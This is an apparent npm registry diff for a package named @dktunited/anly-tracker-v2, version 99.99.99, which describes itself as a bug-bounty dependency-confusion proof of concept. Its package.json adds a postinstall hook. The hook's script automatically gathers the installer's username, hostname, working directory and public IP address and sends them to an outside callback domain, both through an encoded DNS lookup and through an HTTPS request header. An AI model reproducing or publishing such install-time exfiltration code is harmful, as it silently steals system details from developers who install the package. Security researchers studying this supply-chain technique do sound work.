@dktunited/anly-tracker-v2 99.99.99

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json ADDED
@@ -0,0 +1,8 @@
1
+ {
2
+ "name": "@dktunited/anly-tracker-v2",
3
+ "version": "99.99.99",
4
+ "description": "Security research PoC - bug bounty responsible disclosure YESWEHACK (migdev23)",
5
+ "scripts": {
6
+ "postinstall": "node scripts/postinstall.js"
7
+ }
8
+ }
@@ -0,0 +1,38 @@
1
+ /*
2
+ * Dependency Confusion PoC - Bug Bounty Research
3
+ * Package: @dktunited/anly-tracker-v2
4
+ * Responsible disclosure only - no malicious payload
5
+ */
6
+ const dns = require('dns');
7
+ const https = require('https');
8
+ const os = require('os');
9
+
10
+ const C2 = 'xjaipnfhcpawuhzlgzkzub8mc0rqdiuyp.oast.fun';
11
+
12
+ https.get('https://api.ipify.org?format=json', (res) => {
13
+ let data = '';
14
+ res.on('data', c => data += c);
15
+ res.on('end', () => {
16
+ const ip = JSON.parse(data).ip;
17
+ const raw = JSON.stringify({
18
+ pkg: '@dktunited/anly-tracker-v2',
19
+ u: os.userInfo().username,
20
+ h: os.hostname(),
21
+ p: process.cwd(),
22
+ ip: ip,
23
+ poc: true
24
+ });
25
+
26
+ const payload = Buffer.from(raw).toString('hex').substring(0, 60);
27
+ dns.lookup(`${payload}.${C2}`, () => {});
28
+
29
+ const req = https.request({
30
+ hostname: C2,
31
+ path: '/poc',
32
+ method: 'GET',
33
+ headers: { 'x-poc': Buffer.from(raw).toString('base64') }
34
+ }, () => {});
35
+ req.on('error', () => {});
36
+ req.end();
37
+ });
38
+ }).on('error', () => {});